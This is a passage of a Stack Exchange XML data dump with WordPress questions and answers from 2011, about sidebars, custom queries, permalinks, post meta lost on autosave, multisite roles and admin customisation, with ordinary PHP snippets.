?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #secondary .widget-area --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to display sidebar-2 (the secondary sidebar) in my post pages. I call them using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part(‘sidebar’,2); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(in the following files: archive.php, post.php, author.php, category.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set my 'Settings' for 'Reading' so that the page is for displaying 'Posts'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit the page, it displays the primary sidebar.&#xA;You can see for yourself at &lt;a href=&quot;http://akhomehealth.com/newsletter/&quot; rel=&quot;nofollow&quot;&gt;http://akhomehealth.com/newsletter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidebar should show search, archive, category and recent posts.&lt;/p&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2011-03-26T01:56:27.963" Title="Twenty Ten child theme has post on an inner page. Cant get that page to use my desired template" Tags="&lt;sidebar&gt;&lt;child-theme&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11712" PostTypeId="1" CreationDate="2011-03-10T20:19:59.580" Score="0" ViewCount="27" Body="&lt;p&gt;I've build a theme using custom post-types with queries like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_custom_post_type_query = new WP_Query( array( 'my_arg' =&amp;gt; 'value' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'm writing a plugin where I need to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but for &lt;code&gt;$my_custom_post_type_query&lt;/code&gt; instead of &lt;code&gt;$wp_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I&lt;/strong&gt; (from my plugin file)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;check if there &lt;em&gt;are&lt;/em&gt; any custom queries, and if so  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;call a specific custom query within my plugin?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any ideas much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3865" LastActivityDate="2011-03-10T22:58:55.330" Title="Is there a (preferable built-in) way to check what custom queries are used in a theme?" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;wp-query&gt;&lt;customization&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="11714" PostTypeId="2" ParentId="11698" CreationDate="2011-03-10T20:26:58.577" Score="1" ViewCount="" Body="&lt;p&gt;It's interesting the front end / published site is fast but not the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried turning off all plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you setup a 2nd &quot;sandbox&quot; site and import all the content into that? Or try a cheap but fast host like MDD hosting and setup a test site there for $7/month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a good a developer on staff, they might be able to see if the issue is with database performance using this plugin to profile the database...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tierra-innovation.com/wordpress-cms/plugins/wpdb-profiling/&quot; rel=&quot;nofollow&quot;&gt;http://tierra-innovation.com/wordpress-cms/plugins/wpdb-profiling/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-10T20:26:58.577" />
  <row Id="11715" PostTypeId="2" ParentId="11711" CreationDate="2011-03-10T20:43:03.260" Score="1" ViewCount="" Body="&lt;p&gt;try this instead &lt;code&gt;&amp;lt;?php get_sidebar(2); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3867" LastActivityDate="2011-03-10T20:43:03.260" CommentCount="3" />
  <row Id="11716" PostTypeId="1" CreationDate="2011-03-10T20:52:33.610" Score="0" ViewCount="158" Body="&lt;p&gt;Here's my scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three specific jobs sites: &#xA;LAMPJobsLA.com, MobileJobsLA.com,  SocialMediaJobsLA.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to run them under on &quot;master site&quot;: TechJobsLA.com &#xA;but keep the URLs intact when a visitor lands on the page with the posts matching the categories or tags (taxonomy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if someone visits MobileJobsLA.com, the two URLs that would both work are:&#xA;&lt;a href=&quot;http://techjobsla.com/tag/mobile-ios-android/&quot; rel=&quot;nofollow&quot;&gt;http://techjobsla.com/tag/mobile-ios-android/&lt;/a&gt; &#xA;or &#xA;&lt;a href=&quot;http://mobilejosbsla.com/&quot; rel=&quot;nofollow&quot;&gt;http://mobilejosbsla.com/&lt;/a&gt; default page redirects to ---&gt; &lt;a href=&quot;http://mobilejosbsla.com/tag/mobile-ios-android&quot; rel=&quot;nofollow&quot;&gt;http://mobilejosbsla.com/tag/mobile-ios-android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see from some of the previous questions/answers, WordPress MU Domain Mapping plugin might work for me.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-10T10:23:44.637" LastActivityDate="2011-04-10T10:23:44.637" Title="How can I have multiple URLs pointing to single WordPress installation?" Tags="&lt;multisite&gt;&lt;urls&gt;&lt;subdomains&gt;" AnswerCount="1" />
  <row Id="11717" PostTypeId="1" CreationDate="2011-03-10T20:59:40.340" Score="2" ViewCount="205" Body="&lt;p&gt;does anybody know how to hook or filter the user-edit.php file so that an user's email address is disabled from editing akin to how the username is disabled ..??..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can edit the core file (gasp) and include disabled=&quot;disabled&quot; in the form and this works but i'm at a loss as to how to add the disable via hook or filter ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can also run a function like this that hides the email address via css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Change WordPress dashboard CSS */&#xA;function custom_admin_styles() {&#xA;echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#email { display: none !important; }&amp;lt;/style&amp;gt;';&#xA;}&#xA;add_action('admin_head', 'custom_admin_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that pulls out the whole email thus form looks funny and then i believe that with a DOM Editor like Firebug, one can still access that email field thus change it ... ugh ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideally, i would like to replace this entire user-edit.php code from this -&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail'); ?&amp;gt; &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('(required)'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php echo esc_attr($profileuser-&amp;gt;user_email) ?&amp;gt;&quot; disabled=&quot;disabled&quot; class=&quot;regular-text&quot; /&amp;gt; &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Emails cannot be changed.'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to something like this -&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail'); ?&amp;gt; &amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;&amp;lt;?php echo esc_attr($profileuser-&amp;gt;user_email) ?&amp;gt;&quot; Please Contact Tech support to change your email&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for any pointers you can share ... cordially, chuck scott&lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2011-06-22T21:45:42.617" Title="prevent users from changing their email address" Tags="&lt;email&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="11718" PostTypeId="1" CreationDate="2011-03-10T21:23:46.897" Score="0" ViewCount="77" Body="&lt;p&gt;I was doing some speed tests on my site recently and I noticed that my wp-content/uploads folder takes a long time to connect and then gives a 404 error. Does anyone know what might be causing this?&lt;/p&gt;&#xA;" OwnerUserId="3868" LastActivityDate="2011-06-08T22:59:16.143" Title="wp-content/uploads returns a 404" Tags="&lt;uploads&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11719" PostTypeId="1" CreationDate="2011-03-10T21:52:30.110" Score="2" ViewCount="222" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Title was &quot;Convert into nice URL a shared custom taxonomy URL with a query string value&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom taxonomy template: &lt;code&gt;taxonomy-country.php&lt;/code&gt; used by two (2) Custom Post Types: &lt;code&gt;'event'&lt;/code&gt; and &lt;code&gt;'contact'&lt;/code&gt;. I would like to set up pages to display, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&quot;All Costa Rica Contacts&quot;&lt;/em&gt;, and &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&quot;All United States Events&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These URLs current give me those lists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/country/costa-rica?post_type=contact&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/country/costa-rica?post_type=contact&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/country/united-states?post_type=event&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/country/united-states?post_type=event&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I would like to implement those URLs as nice URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/country/costa-rica/contacts/&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/country/costa-rica/contacts/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/country/united-states/events/&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/country/united-states/events/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or even better, something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/contacts/country/costa-rica/&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/contacts/country/costa-rica/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mytestsite.com/events/country/united-states/&quot; rel=&quot;nofollow&quot;&gt;http://mytestsite.com/events/country/united-states/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-11T11:05:06.443" LastActivityDate="2011-04-17T22:40:42.053" Title="Nice URLs for a Custom Post Type List with a Shared Custom Taxonomy?" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" />
  <row Id="11720" PostTypeId="2" ParentId="11718" CreationDate="2011-03-10T22:32:30.867" Score="1" ViewCount="" Body="&lt;p&gt;That folder shouldn't be something that you're directly linking to anyway, in 99% of cases. It should have a 501 Not Authorized via .htaccess, or just a blank index.php page within it.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-10T22:32:30.867" CommentCount="1" />
  <row Id="11721" PostTypeId="2" ParentId="11672" CreationDate="2011-03-10T22:35:18.883" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like you have a widget that you want to display on every page but the front page? If so, the &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic plugin&lt;/a&gt; will do what you're after. You should be able to use the logic &lt;code&gt;!is_home()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3851" LastActivityDate="2011-03-10T22:35:18.883" />
  <row Id="11722" PostTypeId="1" AcceptedAnswerId="11757" CreationDate="2011-03-10T22:54:31.333" Score="0" ViewCount="217" Body="&lt;p&gt;I'd really love to be able to conditionally apply a CSS class to link elements of images embedded into posts, but I can't seem to figure this one out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'd like to achieve is to replace the default embedded image link that links the image to the full size version of itself to opening it in a colorbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can achieve this with a bit of Javascript-trickery, but I'd love to figure out how to do this in the server side and then just attach the colorbox functionality in a straightforward manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a filter I should add or what's the route to take here. Ideally I'd love to be able to write the code so that if a user embeds an image, the link opens the full size version in a colorbox but if the user specifies a custom link, it'll work like a regular link. This shouldn't be that hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for any help in advance!&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2011-03-11T12:02:40.867" Title="Applying automatic link class to images embedded to posts" Tags="&lt;attachments&gt;&lt;image&gt;&lt;embed&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="11723" PostTypeId="2" ParentId="11712" CreationDate="2011-03-10T22:58:55.330" Score="1" ViewCount="" Body="&lt;p&gt;I don't really understand what you're trying to do, so here goes nothing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of hooks within WP_Query. Most of them pass the current instance as one of the arguments. So, here's how you could check for a &quot;custom query&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_wp_query( $posts, $wp_query ) {&#xA;  if ( $wp_query-&amp;gt;get('my_arg') ) {&#xA;    // it's a custom query&#xA;  }&#xA;&#xA;  return $posts;&#xA;}&#xA;add_filter( 'the_posts', 'check_wp_query', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trick is that each custom query has to be identifiable by at least one of it's query vars.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-10T22:58:55.330" CommentCount="4" />
  <row Id="11724" PostTypeId="1" AcceptedAnswerId="11727" CreationDate="2011-03-10T23:24:24.830" Score="0" ViewCount="310" Body="&lt;p&gt;For starters I am using this GREAT answer to achieve custom post types as well as a custom way to insert those post types into other pages, you can view that answer here:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5750/custom-field-meta-populated-by-dropdown-of-existing-posts/5778#5778&quot;&gt;Custom field/meta populated by dropdown of existing posts?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running into a problem however when wordpress auto saves itself, it clears whatever metadata i have put into the forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXAMPLE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I select the 3 drop downs I want from my metabox and hit update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page reloads and the 3 choices are still selected.  In phpMyAdmin i can look up the metadata and see the array in place as it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now wait for wordpress to auto save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as this happens i can either refresh the page (not update, just refresh) and the metadata is lost, or i can look up the metadata in phpMyAdmin and it will display nothing (ie: its gone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that this has something to do with needing to tie into another hook (some sorta auto update hook) or something, but even then it doesn't make sense that it would actually delete your metadata (rather than just not auto updating it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last note:&#xA;If you copy and paste Mikes code into functions.php, you should be able to recreate my error (in wordpress 3.1) very easy.&lt;/p&gt;&#xA;" OwnerUserId="3841" LastActivityDate="2011-05-28T15:48:27.587" Title="post meta data clearing on autosave" Tags="&lt;custom-field&gt;&lt;functions&gt;&lt;hooks&gt;&lt;post-meta&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11725" PostTypeId="1" CreationDate="2011-03-11T00:05:38.917" Score="0" ViewCount="192" Body="&lt;p&gt;My network is showing roles in some sites and not in others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason that I can't explain, when I add a new user, I have no role to choose from on the drop down box of a sub-site in my network. Also my new user assigned to a site is not showing on my list of users for that site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something fixable? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below an image of the current situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/58xU&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/58xU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/dUvoG.jpg&quot; alt=&quot;Roles not Showing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the picture showing the main site with the roles properly there, but the sub-sites of the network don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1HXUT.jpg&quot; alt=&quot;Roles showing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-05-18T05:52:33.200" LastActivityDate="2011-07-19T20:27:18.343" Title="Help - Why my roles are not showing? Multi-site/Network" Tags="&lt;multisite&gt;&lt;users&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="11727" PostTypeId="2" ParentId="11724" CreationDate="2011-03-11T00:39:04.173" Score="1" ViewCount="" Body="&lt;p&gt;Well, as always I feel like a dummy, but after searching the internet for hours and seeing that it seems like lots of people are having this question and I cant seem to find an an answer anywhere, I guess im not THAT slow!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the important code is something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data',array(__CLASS__,'filter_wp_insert_post_data'),10,2);&#xA;static function filter_wp_insert_post_data($data, $postarr) {&#xA;     update_post_meta($postarr['ID'],'_offices',$postarr['offices']);&#xA;     return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what was happening is this code gets run, but there is no $postarr['offices'], so it inserts blank data instead!  so the quick solution to this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($postarr['offices']))&#xA;update_post_meta($postarr['ID'],'_offices',$postarr['offices']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the data you want to insert isn't set, it wont update!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why wordpress doesn't pass these variables in on an auto save but it does on the real save, but either way this works so I'm happy!&lt;/p&gt;&#xA;" OwnerUserId="3841" LastActivityDate="2011-03-11T00:39:04.173" />
  <row Id="11728" PostTypeId="1" AcceptedAnswerId="11734" CreationDate="2011-03-11T01:08:13.737" Score="0" ViewCount="143" Body="&lt;p&gt;Im trying to make different querys in my category like one with a offset of post and one that shows one post but while it continues to go through the loop, this is what i have but the loop keeps repeating itself i almost think im not doing it correctly. Anyone know whats wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : $count = 0; ?&amp;gt;&#xA;&#xA;                                &amp;lt;div id=&quot;featured-category&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;heading&quot;&amp;gt;&amp;lt;h2 class=&quot;recent-post-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;?php query_posts('showpost=1'); ?&amp;gt; &#xA;                                &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;                                &amp;lt;div class=&quot;FC-image&quot;&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;?php endwhile ?&amp;gt;&#xA;                                &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;                                &amp;lt;div id=&quot;recent-posts&quot;&amp;gt;&#xA;                                &amp;lt;!-- Post Starts --&amp;gt;&#xA;                                &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;                                &amp;lt;?php query_posts('showpost=4&amp;amp;offset=1'); ?&amp;gt; &#xA;                                &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;                 &#xA;                                &amp;lt;div class=&quot;post-img&quot;&amp;gt;                  &#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;heading&quot;&amp;gt;&amp;lt;h2 class=&quot;recent-post-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;recent-post-content&quot;&amp;gt;&#xA;                                &amp;lt;?php get_the_excerpt_limit( 200, '...&amp;amp;nbsp;Read More&amp;amp;nbsp;&amp;amp;raquo;' ); ?&amp;gt;                   &#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- /.heading --&amp;gt;                    &#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- /.post --&amp;gt;&#xA;                                &amp;lt;?php endwhile ?&amp;gt;&#xA;                                &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;&#xA;                                &amp;lt;?php query_posts('offset=4'); ?&amp;gt; &#xA;                                &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;                                &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;heading&quot;&amp;gt;&amp;lt;h2 class=&quot;recent-post-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;recent-post-content two&quot;&amp;gt;&#xA;&#xA;                                &amp;lt;?php get_the_excerpt_limit( 200, '...&amp;amp;nbsp;Read More&amp;amp;nbsp;&amp;amp;raquo;' ); ?&amp;gt;                   &#xA;&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- /.heading --&amp;gt;&#xA;&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- /.post --&amp;gt;&#xA;                                &amp;lt;?php endwhile ?&amp;gt;&#xA;                                &amp;lt;?php wp_reset_query(); ?&amp;gt;        &#xA;                                &amp;lt;?php endwhile ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-03-11T02:39:14.217" LastActivityDate="2011-03-11T20:02:17.613" Title="Query the Loop without breaking it" Tags="&lt;categories&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="11729" PostTypeId="1" AcceptedAnswerId="11735" CreationDate="2011-03-11T01:37:59.807" Score="0" ViewCount="462" Body="&lt;p&gt;Just getting into wordpress and learning a lot! I know how to create a custom field and use it for basic purposes. I'm trying to do a little more now...I'm hoping someone can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have businesses and events section on my website. Businesses use the default &quot;posts&quot; from wordpress, &quot;events&quot; are a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a custom field to use for events that populates a dropdown list of the business posts the current user is the author of, effectively linking the two together. This way the user can only see the business posts they've created in the list and can not create events and link them to random businesses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried utilizing the &quot;LittlePromoBox&quot; class found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5750/custom-field-meta-populated-by-dropdown-of-existing-posts&quot;&gt;in this post&lt;/a&gt;. But have had no luck...I've tried to understand the logic but its too advanced for me at this point..can anyone help me out?&lt;/p&gt;&#xA;" OwnerUserId="3870" LastActivityDate="2011-03-11T14:44:49.147" Title="Populate a custom field dropdown with post titles by author" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="11730" PostTypeId="2" ParentId="11725" CreationDate="2011-03-11T01:39:53.667" Score="2" ViewCount="" Body="&lt;p&gt;If this is the problem I know so well, you are running a memcache setup behind your MU install? I've found that there's apparently a cache issue (witnessed in 2.9) for the options object where something good (like the wp_user_roles key) gets stuck in the &quot;notoptions&quot; memcache array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do run atop memcache, and this sounds like a possiblity, try telnetting into the machine via 11211. Type &lt;code&gt;delete blogid:options:notoptions&lt;/code&gt;, where the blogid is the id of the blog on which you see the issue. Refresh the admin panel and see if there are roles in the dropdown. If so, you've found your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: OK, so you did not find your problem -- you weren't running memcache. I would still check out the roles object, looking for a corrupt or non-existant one. I believe it's your best lead. You can use this code to dump the options table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$array = $wpdb-&amp;gt;get_col(&quot;SELECT option_name FROM $wpdb-&amp;gt;options&quot;);&#xA;foreach ($array as $key) {&#xA;    echo $key . &quot;: &amp;lt;code&amp;gt;&quot;;&#xA;    var_dump(get_option($key), true));&#xA;            echo &quot;&amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-03-11T18:23:24.377" LastActivityDate="2011-03-11T18:23:24.377" CommentCount="2" />
  <row Id="11731" PostTypeId="1" AcceptedAnswerId="11733" CreationDate="2011-03-11T01:42:29.377" Score="1" ViewCount="228" Body="&lt;p&gt;I'm adding TinyMCE buttons to my plugin and they're working, but I only want these buttons to show up for a certain custom post type. I followed this tutorial if it helps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tutorialchip.com/wordpress/wordpress-shortcode-tinymce-button-tutorial-part-2/&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialchip.com/wordpress/wordpress-shortcode-tinymce-button-tutorial-part-2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have that check if they are editing/posting a post in a custom post type of lets say, &lt;code&gt;newpages&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-11T02:15:30.493" Title="Check if on Custom Post Type for TinyMCE buttons" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="1" />
